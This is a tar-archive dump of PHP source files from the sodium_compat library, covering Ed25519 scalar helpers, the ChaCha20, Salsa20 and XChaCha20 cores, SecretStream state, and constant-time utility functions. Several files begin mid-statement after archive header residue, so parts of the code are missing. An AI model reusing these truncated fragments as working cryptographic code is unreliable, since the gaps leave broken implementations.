0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p+1 (order 1) */ array( 0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ) ); /** @var int $countBlocklist */ $countBlocklist = count($blocklist); for ($i = 0; $i < $countBlocklist; ++$i) { $c = 0; for ($j = 0; $j < 32; ++$j) { $c |= self::chrToInt($R[$j]) ^ (int) $blocklist[$i][$j]; } if ($c === 0) { return true; } } return false; } /** * @param string $s * @return string * @throws SodiumException */ public static function scalar_complement($s) { $t_ = self::L . str_repeat("\x00", 32); sodium_increment($t_); $s_ = $s . str_repeat("\x00", 32); ParagonIE_Sodium_Compat::sub($t_, $s_); return self::sc_reduce($t_); } /** * @return string * @throws SodiumException */ public static function scalar_random() { do { $r = ParagonIE_Sodium_Compat::randombytes_buf(self::SCALAR_BYTES); $r[self::SCALAR_BYTES - 1] = self::intToChr( self::chrToInt($r[self::SCALAR_BYTES - 1]) & 0x1f ); } while ( !self::check_S_lt_L($r) || ParagonIE_Sodium_Compat::is_zero($r) ); return $r; } /** * @param string $s * @return string * @throws SodiumException */ public static function scalar_negate($s) { $t_ = self::L . str_repeat("\x00", 32) ; $s_ = $s . str_repeat("\x00", 32) ; ParagonIE_Sodium_Compat::sub($t_, $s_); return self::sc_reduce($t_); } /** * @param string $a * @param string $b * @return string * @throws SodiumException */ public static function scalar_add($a, $b) { $a_ = $a . str_repeat("\x00", 32); $b_ = $b . str_repeat("\x00", 32); ParagonIE_Sodium_Compat::add($a_, $b_); return self::sc_reduce($a_); } /** * @param string $x * @param string $y * @return string * @throws SodiumException */ public static function scalar_sub($x, $y) { $yn = self::scalar_negate($y); return self::scalar_add($x, $yn); } } sodium_compat/src/Core/ChaCha20/Ctx.php000064400000007546147177035010013627 0ustar00 */ protected $container; /** * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor. * * @internal You should not use this directly from another application * * @param string $key ChaCha20 key. * @param string $iv Initialization Vector (a.k.a. nonce). * @param string $counter The initial counter value. * Defaults to 8 0x00 bytes. * @throws InvalidArgumentException * @throws TypeError */ public function __construct($key = '', $iv = '', $counter = '') { if (self::strlen($key) !== 32) { throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.'); } if (self::strlen($iv) !== 8) { throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.'); } $this->container = new SplFixedArray(16); /* "expand 32-byte k" as per ChaCha20 spec */ $this->container[0] = 0x61707865; $this->container[1] = 0x3320646e; $this->container[2] = 0x79622d32; $this->container[3] = 0x6b206574; $this->container[4] = self::load_4(self::substr($key, 0, 4)); $this->container[5] = self::load_4(self::substr($key, 4, 4)); $this->container[6] = self::load_4(self::substr($key, 8, 4)); $this->container[7] = self::load_4(self::substr($key, 12, 4)); $this->container[8] = self::load_4(self::substr($key, 16, 4)); $this->container[9] = self::load_4(self::substr($key, 20, 4)); $this->container[10] = self::load_4(self::substr($key, 24, 4)); $this->container[11] = self::load_4(self::substr($key, 28, 4)); if (empty($counter)) { $this->container[12] = 0; $this->container[13] = 0; } else { $this->container[12] = self::load_4(self::substr($counter, 0, 4)); $this->container[13] = self::load_4(self::substr($counter, 4, 4)); } $this->container[14] = self::load_4(self::substr($iv, 0, 4)); $this->container[15] = self::load_4(self::substr($iv, 4, 4)); } /** * @internal You should not use this directly from another application * * @param int $offset * @param int $value * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($offset)) { throw new InvalidArgumentException('Expected an integer'); } if (!is_int($value)) { throw new InvalidArgumentException('Expected an integer'); } $this->container[$offset] = $value; } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return mixed|null * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { return isset($this->container[$offset]) ? $this->container[$offset] : null; } } sodium_compat/src/Core/ChaCha20/IetfCtx.php000064400000002452147177035010014426 0ustar00container[12] = self::load_4(self::substr($counter, 0, 4)); } $this->container[13] = self::load_4(self::substr($iv, 0, 4)); $this->container[14] = self::load_4(self::substr($iv, 4, 4)); $this->container[15] = self::load_4(self::substr($iv, 8, 4)); } } sodium_compat/src/Core/Salsa20.php000064400000020051147177035010013007 0ustar00 0; $i -= 2) { $x4 ^= self::rotate($x0 + $x12, 7); $x8 ^= self::rotate($x4 + $x0, 9); $x12 ^= self::rotate($x8 + $x4, 13); $x0 ^= self::rotate($x12 + $x8, 18); $x9 ^= self::rotate($x5 + $x1, 7); $x13 ^= self::rotate($x9 + $x5, 9); $x1 ^= self::rotate($x13 + $x9, 13); $x5 ^= self::rotate($x1 + $x13, 18); $x14 ^= self::rotate($x10 + $x6, 7); $x2 ^= self::rotate($x14 + $x10, 9); $x6 ^= self::rotate($x2 + $x14, 13); $x10 ^= self::rotate($x6 + $x2, 18); $x3 ^= self::rotate($x15 + $x11, 7); $x7 ^= self::rotate($x3 + $x15, 9); $x11 ^= self::rotate($x7 + $x3, 13); $x15 ^= self::rotate($x11 + $x7, 18); $x1 ^= self::rotate($x0 + $x3, 7); $x2 ^= self::rotate($x1 + $x0, 9); $x3 ^= self::rotate($x2 + $x1, 13); $x0 ^= self::rotate($x3 + $x2, 18); $x6 ^= self::rotate($x5 + $x4, 7); $x7 ^= self::rotate($x6 + $x5, 9); $x4 ^= self::rotate($x7 + $x6, 13); $x5 ^= self::rotate($x4 + $x7, 18); $x11 ^= self::rotate($x10 + $x9, 7); $x8 ^= self::rotate($x11 + $x10, 9); $x9 ^= self::rotate($x8 + $x11, 13); $x10 ^= self::rotate($x9 + $x8, 18); $x12 ^= self::rotate($x15 + $x14, 7); $x13 ^= self::rotate($x12 + $x15, 9); $x14 ^= self::rotate($x13 + $x12, 13); $x15 ^= self::rotate($x14 + $x13, 18); } $x0 += $j0; $x1 += $j1; $x2 += $j2; $x3 += $j3; $x4 += $j4; $x5 += $j5; $x6 += $j6; $x7 += $j7; $x8 += $j8; $x9 += $j9; $x10 += $j10; $x11 += $j11; $x12 += $j12; $x13 += $j13; $x14 += $j14; $x15 += $j15; return self::store32_le($x0) . self::store32_le($x1) . self::store32_le($x2) . self::store32_le($x3) . self::store32_le($x4) . self::store32_le($x5) . self::store32_le($x6) . self::store32_le($x7) . self::store32_le($x8) . self::store32_le($x9) . self::store32_le($x10) . self::store32_le($x11) . self::store32_le($x12) . self::store32_le($x13) . self::store32_le($x14) . self::store32_le($x15); } /** * @internal You should not use this directly from another application * * @param int $len * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20($len, $nonce, $key) { if (self::strlen($key) !== 32) { throw new RangeException('Key must be 32 bytes long'); } $kcopy = '' . $key; $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8); $c = ''; while ($len >= 64) { $c .= self::core_salsa20($in, $kcopy, null); $u = 1; // Internal counter. for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $len -= 64; } if ($len > 0) { $c .= self::substr( self::core_salsa20($in, $kcopy, null), 0, $len ); } try { ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $m * @param string $n * @param int $ic * @param string $k * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor_ic($m, $n, $ic, $k) { $mlen = self::strlen($m); if ($mlen < 1) { return ''; } $kcopy = self::substr($k, 0, 32); $in = self::substr($n, 0, 8); // Initialize the counter $in .= ParagonIE_Sodium_Core_Util::store64_le($ic); $c = ''; while ($mlen >= 64) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, 64), self::substr($block, 0, 64) ); $u = 1; for ($i = 8; $i < 16; ++$i) { $u += self::chrToInt($in[$i]); $in[$i] = self::intToChr($u & 0xff); $u >>= 8; } $mlen -= 64; $m = self::substr($m, 64); } if ($mlen) { $block = self::core_salsa20($in, $kcopy, null); $c .= self::xorStrings( self::substr($m, 0, $mlen), self::substr($block, 0, $mlen) ); } try { ParagonIE_Sodium_Compat::memzero($block); ParagonIE_Sodium_Compat::memzero($kcopy); } catch (SodiumException $ex) { $block = null; $kcopy = null; } return $c; } /** * @internal You should not use this directly from another application * * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function salsa20_xor($message, $nonce, $key) { return self::xorStrings( $message, self::salsa20( self::strlen($message), $nonce, $key ) ); } /** * @internal You should not use this directly from another application * * @param int $u * @param int $c * @return int */ public static function rotate($u, $c) { $u &= 0xffffffff; $c %= 32; return (int) (0xffffffff & ( ($u << $c) | ($u >> (32 - $c)) ) ); } } sodium_compat/src/Core/SecretStream/State.php000064400000007050147177035010015267 0ustar00key = $key; $this->counter = 1; if (is_null($nonce)) { $nonce = str_repeat("\0", 12); } $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);; $this->_pad = str_repeat("\0", 4); } /** * @return self */ public function counterReset() { $this->counter = 1; $this->_pad = str_repeat("\0", 4); return $this; } /** * @return string */ public function getKey() { return $this->key; } /** * @return string */ public function getCounter() { return ParagonIE_Sodium_Core_Util::store32_le($this->counter); } /** * @return string */ public function getNonce() { if (!is_string($this->nonce)) { $this->nonce = str_repeat("\0", 12); } if (ParagonIE_Sodium_Core_Util::strlen($this->nonce) !== 12) { $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT); } return $this->nonce; } /** * @return string */ public function getCombinedNonce() { return $this->getCounter() . ParagonIE_Sodium_Core_Util::substr($this->getNonce(), 0, 8); } /** * @return self */ public function incrementCounter() { ++$this->counter; return $this; } /** * @return bool */ public function needsRekey() { return ($this->counter & 0xffff) === 0; } /** * @param string $newKeyAndNonce * @return self */ public function rekey($newKeyAndNonce) { $this->key = ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 0, 32); $this->nonce = str_pad( ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 32), 12, "\0", STR_PAD_RIGHT ); return $this; } /** * @param string $str * @return self */ public function xorNonce($str) { $this->nonce = ParagonIE_Sodium_Core_Util::xorStrings( $this->getNonce(), str_pad( ParagonIE_Sodium_Core_Util::substr($str, 0, 8), 12, "\0", STR_PAD_RIGHT ) ); return $this; } /** * @param string $string * @return self */ public static function fromString($string) { $state = new ParagonIE_Sodium_Core_SecretStream_State( ParagonIE_Sodium_Core_Util::substr($string, 0, 32) ); $state->counter = ParagonIE_Sodium_Core_Util::load_4( ParagonIE_Sodium_Core_Util::substr($string, 32, 4) ); $state->nonce = ParagonIE_Sodium_Core_Util::substr($string, 36, 12); $state->_pad = ParagonIE_Sodium_Core_Util::substr($string, 48, 8); return $state; } /** * @return string */ public function toString() { return $this->key . $this->getCounter() . $this->nonce . $this->_pad; } } sodium_compat/src/Core/XChaCha20.php000064400000006452147177035010013214 0ustar00 0; $i -= 2) { $x4 ^= self::rotate($x0 + $x12, 7); $x8 ^= self::rotate($x4 + $x0, 9); $x12 ^= self::rotate($x8 + $x4, 13); $x0 ^= self::rotate($x12 + $x8, 18); $x9 ^= self::rotate($x5 + $x1, 7); $x13 ^= self::rotate($x9 + $x5, 9); $x1 ^= self::rotate($x13 + $x9, 13); $x5 ^= self::rotate($x1 + $x13, 18); $x14 ^= self::rotate($x10 + $x6, 7); $x2 ^= self::rotate($x14 + $x10, 9); $x6 ^= self::rotate($x2 + $x14, 13); $x10 ^= self::rotate($x6 + $x2, 18); $x3 ^= self::rotate($x15 + $x11, 7); $x7 ^= self::rotate($x3 + $x15, 9); $x11 ^= self::rotate($x7 + $x3, 13); $x15 ^= self::rotate($x11 + $x7, 18); $x1 ^= self::rotate($x0 + $x3, 7); $x2 ^= self::rotate($x1 + $x0, 9); $x3 ^= self::rotate($x2 + $x1, 13); $x0 ^= self::rotate($x3 + $x2, 18); $x6 ^= self::rotate($x5 + $x4, 7); $x7 ^= self::rotate($x6 + $x5, 9); $x4 ^= self::rotate($x7 + $x6, 13); $x5 ^= self::rotate($x4 + $x7, 18); $x11 ^= self::rotate($x10 + $x9, 7); $x8 ^= self::rotate($x11 + $x10, 9); $x9 ^= self::rotate($x8 + $x11, 13); $x10 ^= self::rotate($x9 + $x8, 18); $x12 ^= self::rotate($x15 + $x14, 7); $x13 ^= self::rotate($x12 + $x15, 9); $x14 ^= self::rotate($x13 + $x12, 13); $x15 ^= self::rotate($x14 + $x13, 18); } return self::store32_le($x0) . self::store32_le($x5) . self::store32_le($x10) . self::store32_le($x15) . self::store32_le($x6) . self::store32_le($x7) . self::store32_le($x8) . self::store32_le($x9); } } sodium_compat/src/Core/Util.php000064400000067233147177035010012534 0ustar00> $size) & 1); return (int) ( ($integer ^ $negative) + (($negative >> $realSize) & 1) ); } /** * Convert a binary string into a hexadecimal string without cache-timing * leaks * * @internal You should not use this directly from another application * * @param string $binaryString (raw binary) * @return string * @throws TypeError */ public static function bin2hex($binaryString) { /* Type checks: */ if (!is_string($binaryString)) { throw new TypeError('Argument 1 must be a string, ' . gettype($binaryString) . ' given.'); } $hex = ''; $len = self::strlen($binaryString); for ($i = 0; $i < $len; ++$i) { /** @var array $chunk */ $chunk = unpack('C', $binaryString[$i]); /** @var int $c */ $c = $chunk[1] & 0xf; /** @var int $b */ $b = $chunk[1] >> 4; $hex .= pack( 'CC', (87 + $b + ((($b - 10) >> 8) & ~38)), (87 + $c + ((($c - 10) >> 8) & ~38)) ); } return $hex; } /** * Convert a binary string into a hexadecimal string without cache-timing * leaks, returning uppercase letters (as per RFC 4648) * * @internal You should not use this directly from another application * * @param string $bin_string (raw binary) * @return string * @throws TypeError */ public static function bin2hexUpper($bin_string) { $hex = ''; $len = self::strlen($bin_string); for ($i = 0; $i < $len; ++$i) { /** @var array $chunk */ $chunk = unpack('C', $bin_string[$i]); /** * Lower 16 bits * * @var int $c */ $c = $chunk[1] & 0xf; /** * Upper 16 bits * @var int $b */ $b = $chunk[1] >> 4; /** * Use pack() and binary operators to turn the two integers * into hexadecimal characters. We don't use chr() here, because * it uses a lookup table internally and we want to avoid * cache-timing side-channels. */ $hex .= pack( 'CC', (55 + $b + ((($b - 10) >> 8) & ~6)), (55 + $c + ((($c - 10) >> 8) & ~6)) ); } return $hex; } /** * Cache-timing-safe variant of ord() * * @internal You should not use this directly from another application * * @param string $chr * @return int * @throws SodiumException * @throws TypeError */ public static function chrToInt($chr) { /* Type checks: */ if (!is_string($chr)) { throw new TypeError('Argument 1 must be a string, ' . gettype($chr) . ' given.'); } if (self::strlen($chr) !== 1) { throw new SodiumException('chrToInt() expects a string that is exactly 1 character long'); } /** @var array $chunk */ $chunk = unpack('C', $chr); return (int) ($chunk[1]); } /** * Compares two strings. * * @internal You should not use this directly from another application * * @param string $left * @param string $right * @param int $len * @return int * @throws SodiumException * @throws TypeError */ public static function compare($left, $right, $len = null) { $leftLen = self::strlen($left); $rightLen = self::strlen($right); if ($len === null) { $len = max($leftLen, $rightLen); $left = str_pad($left, $len, "\x00", STR_PAD_RIGHT); $right = str_pad($right, $len, "\x00", STR_PAD_RIGHT); } $gt = 0; $eq = 1; $i = $len; while ($i !== 0) { --$i; $gt |= ((self::chrToInt($right[$i]) - self::chrToInt($left[$i])) >> 8) & $eq; $eq &= ((self::chrToInt($right[$i]) ^ self::chrToInt($left[$i])) - 1) >> 8; } return ($gt + $gt + $eq) - 1; } /** * If a variable does not match a given type, throw a TypeError. * * @param mixed $mixedVar * @param string $type * @param int $argumentIndex * @throws TypeError * @throws SodiumException * @return void */ public static function declareScalarType(&$mixedVar = null, $type = 'void', $argumentIndex = 0) { if (func_num_args() === 0) { /* Tautology, by default */ return; } if (func_num_args() === 1) { throw new TypeError('Declared void, but passed a variable'); } $realType = strtolower(gettype($mixedVar)); $type = strtolower($type); switch ($type) { case 'null': if ($mixedVar !== null) { throw new TypeError('Argument ' . $argumentIndex . ' must be null, ' . $realType . ' given.'); } break; case 'integer': case 'int': $allow = array('int', 'integer'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be an integer, ' . $realType . ' given.'); } $mixedVar = (int) $mixedVar; break; case 'boolean': case 'bool': $allow = array('bool', 'boolean'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a boolean, ' . $realType . ' given.'); } $mixedVar = (bool) $mixedVar; break; case 'string': if (!is_string($mixedVar)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a string, ' . $realType . ' given.'); } $mixedVar = (string) $mixedVar; break; case 'decimal': case 'double': case 'float': $allow = array('decimal', 'double', 'float'); if (!in_array($type, $allow)) { throw new TypeError('Argument ' . $argumentIndex . ' must be a float, ' . $realType . ' given.'); } $mixedVar = (float) $mixedVar; break; case 'object': if (!is_object($mixedVar)) { throw new TypeError('Argument ' . $argumentIndex . ' must be an object, ' . $realType . ' given.'); } break; case 'array': if (!is_array($mixedVar)) { if (is_object($mixedVar)) { if ($mixedVar instanceof ArrayAccess) { return; } } throw new TypeError('Argument ' . $argumentIndex . ' must be an array, ' . $realType . ' given.'); } break; default: throw new SodiumException('Unknown type (' . $realType .') does not match expect type (' . $type . ')'); } } /** * Evaluate whether or not two strings are equal (in constant-time) * * @param string $left * @param string $right * @return bool * @throws SodiumException * @throws TypeError */ public static function hashEquals($left, $right) { /* Type checks: */ if (!is_string($left)) { throw new TypeError('Argument 1 must be a string, ' . gettype($left) . ' given.'); } if (!is_string($right)) { throw new TypeError('Argument 2 must be a string, ' . gettype($right) . ' given.'); } if (is_callable('hash_equals')) { return hash_equals($left, $right); } $d = 0; /** @var int $len */ $len = self::strlen($left); if ($len !== self::strlen($right)) { return false; } for ($i = 0; $i < $len; ++$i) { $d |= self::chrToInt($left[$i]) ^ self::chrToInt($right[$i]); } if ($d !== 0) { return false; } return $left === $right; } /** * Catch hash_update() failures and throw instead of silently proceeding * * @param HashContext|resource &$hs * @param string $data * @return void * @throws SodiumException * @psalm-suppress PossiblyInvalidArgument */ protected static function hash_update(&$hs, $data) { if (!hash_update($hs, $data)) { throw new SodiumException('hash_update() failed'); } } /** * Convert a hexadecimal string into a binary string without cache-timing * leaks * * @internal You should not use this directly from another application * * @param string $hexString * @param bool $strictPadding * @return string (raw binary) * @throws RangeException * @throws TypeError */ public static function hex2bin($hexString, $strictPadding = false) { /* Type checks: */ if (!is_string($hexString)) { throw new TypeError('Argument 1 must be a string, ' . gettype($hexString) . ' given.'); } /** @var int $hex_pos */ $hex_pos = 0; /** @var string $bin */ $bin = ''; /** @var int $c_acc */ $c_acc = 0; /** @var int $hex_len */ $hex_len = self::strlen($hexString); /** @var int $state */ $state = 0; if (($hex_len & 1) !== 0) { if ($strictPadding) { throw new RangeException( 'Expected an even number of hexadecimal characters' ); } else { $hexString = '0' . $hexString; ++$hex_len; } } $chunk = unpack('C*', $hexString); while ($hex_pos < $hex_len) { ++$hex_pos; /** @var int $c */ $c = $chunk[$hex_pos]; /** @var int $c_num */ $c_num = $c ^ 48; /** @var int $c_num0 */ $c_num0 = ($c_num - 10) >> 8; /** @var int $c_alpha */ $c_alpha = ($c & ~32) - 55; /** @var int $c_alpha0 */ $c_alpha0 = (($c_alpha - 10) ^ ($c_alpha - 16)) >> 8; if (($c_num0 | $c_alpha0) === 0) { throw new RangeException( 'hex2bin() only expects hexadecimal characters' ); } /** @var int $c_val */ $c_val = ($c_num0 & $c_num) | ($c_alpha & $c_alpha0); if ($state === 0) { $c_acc = $c_val * 16; } else { $bin .= pack('C', $c_acc | $c_val); } $state ^= 1; } return $bin; } /** * Turn an array of integers into a string * * @internal You should not use this directly from another application * * @param array $ints * @return string */ public static function intArrayToString(array $ints) { /** @var array $args */ $args = $ints; foreach ($args as $i => $v) { $args[$i] = (int) ($v & 0xff); } array_unshift($args, str_repeat('C', count($ints))); return (string) (call_user_func_array('pack', $args)); } /** * Cache-timing-safe variant of ord() * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function intToChr($int) { return pack('C', $int); } /** * Load a 3 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws TypeError */ public static function load_3($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 3) { throw new RangeException( 'String must be 3 bytes or more; ' . self::strlen($string) . ' given.' ); } /** @var array $unpacked */ $unpacked = unpack('V', $string . "\0"); return (int) ($unpacked[1] & 0xffffff); } /** * Load a 4 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws TypeError */ public static function load_4($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 4) { throw new RangeException( 'String must be 4 bytes or more; ' . self::strlen($string) . ' given.' ); } /** @var array $unpacked */ $unpacked = unpack('V', $string); return (int) $unpacked[1]; } /** * Load a 8 character substring into an integer * * @internal You should not use this directly from another application * * @param string $string * @return int * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function load64_le($string) { /* Type checks: */ if (!is_string($string)) { throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.'); } /* Input validation: */ if (self::strlen($string) < 4) { throw new RangeException( 'String must be 4 bytes or more; ' . self::strlen($string) . ' given.' ); } if (PHP_VERSION_ID >= 50603 && PHP_INT_SIZE === 8) { /** @var array $unpacked */ $unpacked = unpack('P', $string); return (int) $unpacked[1]; } /** @var int $result */ $result = (self::chrToInt($string[0]) & 0xff); $result |= (self::chrToInt($string[1]) & 0xff) << 8; $result |= (self::chrToInt($string[2]) & 0xff) << 16; $result |= (self::chrToInt($string[3]) & 0xff) << 24; $result |= (self::chrToInt($string[4]) & 0xff) << 32; $result |= (self::chrToInt($string[5]) & 0xff) << 40; $result |= (self::chrToInt($string[6]) & 0xff) << 48; $result |= (self::chrToInt($string[7]) & 0xff) << 56; return (int) $result; } /** * @internal You should not use this directly from another application * * @param string $left * @param string $right * @return int * @throws SodiumException * @throws TypeError */ public static function memcmp($left, $right) { if (self::hashEquals($left, $right)) { return 0; } return -1; } /** * Multiply two integers in constant-time * * Micro-architecture timing side-channels caused by how your CPU * implements multiplication are best prevented by never using the * multiplication operators and ensuring that our code always takes * the same number of operations to complete, regardless of the values * of $a and $b. * * @internal You should not use this directly from another application * * @param int $a * @param int $b * @param int $size Limits the number of operations (useful for small, * constant operands) * @return int */ public static function mul($a, $b, $size = 0) { if (ParagonIE_Sodium_Compat::$fastMult) { return (int) ($a * $b); } static $defaultSize = null; /** @var int $defaultSize */ if (!$defaultSize) { /** @var int $defaultSize */ $defaultSize = (PHP_INT_SIZE << 3) - 1; } if ($size < 1) { /** @var int $size */ $size = $defaultSize; } /** @var int $size */ $c = 0; /** * Mask is either -1 or 0. * * -1 in binary looks like 0x1111 ... 1111 * 0 in binary looks like 0x0000 ... 0000 * * @var int */ $mask = -(($b >> ((int) $defaultSize)) & 1); /** * Ensure $b is a positive integer, without creating * a branching side-channel * * @var int $b */ $b = ($b & ~$mask) | ($mask & -$b); /** * Unless $size is provided: * * This loop always runs 32 times when PHP_INT_SIZE is 4. * This loop always runs 64 times when PHP_INT_SIZE is 8. */ for ($i = $size; $i >= 0; --$i) { $c += (int) ($a & -($b & 1)); $a <<= 1; $b >>= 1; } $c = (int) @($c & -1); /** * If $b was negative, we then apply the same value to $c here. * It doesn't matter much if $a was negative; the $c += above would * have produced a negative integer to begin with. But a negative $b * makes $b >>= 1 never return 0, so we would end up with incorrect * results. * * The end result is what we'd expect from integer multiplication. */ return (int) (($c & ~$mask) | ($mask & -$c)); } /** * Convert any arbitrary numbers into two 32-bit integers that represent * a 64-bit integer. * * @internal You should not use this directly from another application * * @param int|float $num * @return array */ public static function numericTo64BitInteger($num) { $high = 0; /** @var int $low */ if (PHP_INT_SIZE === 4) { $low = (int) $num; } else { $low = $num & 0xffffffff; } if ((+(abs($num))) >= 1) { if ($num > 0) { /** @var int $high */ $high = min((+(floor($num/4294967296))), 4294967295); } else { /** @var int $high */ $high = ~~((+(ceil(($num - (+((~~($num)))))/4294967296)))); } } return array((int) $high, (int) $low); } /** * Store a 24-bit integer into a string, treating it as big-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store_3($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('N', $int); return self::substr($packed, 1, 3); } /** * Store a 32-bit integer into a string, treating it as little-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store32_le($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('V', $int); return $packed; } /** * Store a 32-bit integer into a string, treating it as big-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store_4($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } /** @var string $packed */ $packed = pack('N', $int); return $packed; } /** * Stores a 64-bit integer as an string, treating it as little-endian. * * @internal You should not use this directly from another application * * @param int $int * @return string * @throws TypeError */ public static function store64_le($int) { /* Type checks: */ if (!is_int($int)) { if (is_numeric($int)) { $int = (int) $int; } else { throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.'); } } if (PHP_INT_SIZE === 8) { if (PHP_VERSION_ID >= 50603) { /** @var string $packed */ $packed = pack('P', $int); return $packed; } return self::intToChr($int & 0xff) . self::intToChr(($int >> 8) & 0xff) . self::intToChr(($int >> 16) & 0xff) . self::intToChr(($int >> 24) & 0xff) . self::intToChr(($int >> 32) & 0xff) . self::intToChr(($int >> 40) & 0xff) . self::intToChr(($int >> 48) & 0xff) . self::intToChr(($int >> 56) & 0xff); } if ($int > PHP_INT_MAX) { list($hiB, $int) = self::numericTo64BitInteger($int); } else { $hiB = 0; } return self::intToChr(($int ) & 0xff) . self::intToChr(($int >> 8) & 0xff) . self::intToChr(($int >> 16) & 0xff) . self::intToChr(($int >> 24) & 0xff) . self::intToChr($hiB & 0xff) . self::intToChr(($hiB >> 8) & 0xff) . self::intToChr(($hiB >> 16) & 0xff) . self::intToChr(($hiB >> 24) & 0xff); } /** * Safe string length * * @internal You should not use this directly from another application * * @ref mbstring.func_overload * * @param string $str * @return int * @throws TypeError */ public static function strlen($str) { /* Type checks: */ if (!is_string($str)) { throw new TypeError('String expected'); } return (int) ( self::isMbStringOverride() ? mb_strlen($str, '8bit') : strlen($str) ); } /** * Turn a string into an array of integers * * @internal You should not use this directly from another application * * @param string $string * @return array * @throws TypeError */ public static function stringToIntArray($string) { if (!is_string($string)) { throw new TypeError('String expected'); } /** * @var array */ $values = array_values( unpack('C*', $string) ); return $values; } /** * Safe substring * * @internal You should not use this directly from another application * * @ref mbstring.func_overload * * @param string $str * @param int $start * @param int $length * @return string * @throws TypeError */ public static function substr($str, $start = 0, $length = null) { /* Type checks: */ if (!is_string($str)) { throw new TypeError('String expected'); } if ($length === 0) { return ''; } if (self::isMbStringOverride()) { if (PHP_VERSION_ID < 50400 && $length === null) { $length = self::strlen($str); } $sub = (string) mb_substr($str, $start, $length, '8bit'); } elseif ($length === null) { $sub = (string) substr($str, $start); } else { $sub = (string) substr($str, $start, $length); } if ($sub !== '') { return $sub; } return ''; } /** * Compare a 16-character byte string in constant time. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_16($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('String expected'); } if (!is_string($b)) { throw new TypeError('String expected'); } return self::hashEquals( self::substr($a, 0, 16), self::substr($b, 0, 16) ); } /** * Compare a 32-character byte string in constant time. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_32($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('String expected'); } if (!is_string($b)) { throw new TypeError('String expected'); } return self::hashEquals( self::substr($a, 0, 32), self::substr($b, 0, 32) ); } /** * Calculate $a ^ $b for two strings. * * @internal You should not use this directly from another application * * @param string $a * @param string $b * @return string * @throws TypeError */ public static function xorStrings($a, $b) { /* Type checks: */ if (!is_string($a)) { throw new TypeError('Argument 1 must be a string'); } if (!is_string($b)) { throw new TypeError('Argument 2 must be a string'); } return (string) ($a ^ $b); } /** * Returns whether or not mbstring.func_overload is in effect. * * @internal You should not use this directly from another application * * Note: MB_OVERLOAD_STRING === 2, but we don't reference the constant * (for nuisance-free PHP 8 support) * * @return bool */ protected static function isMbStringOverride() { static $mbstring = null; if ($mbstring === null) { if (!defined('MB_OVERLOAD_STRING')) { $mbstring = false; return $mbstring; } $mbstring = extension_loaded('mbstring') && defined('MB_OVERLOAD_STRING') && ((int) (ini_get('mbstring.func_overload')) & 2); // MB_OVERLOAD_STRING === 2 } /** @var bool $mbstring */ return $mbstring; } } 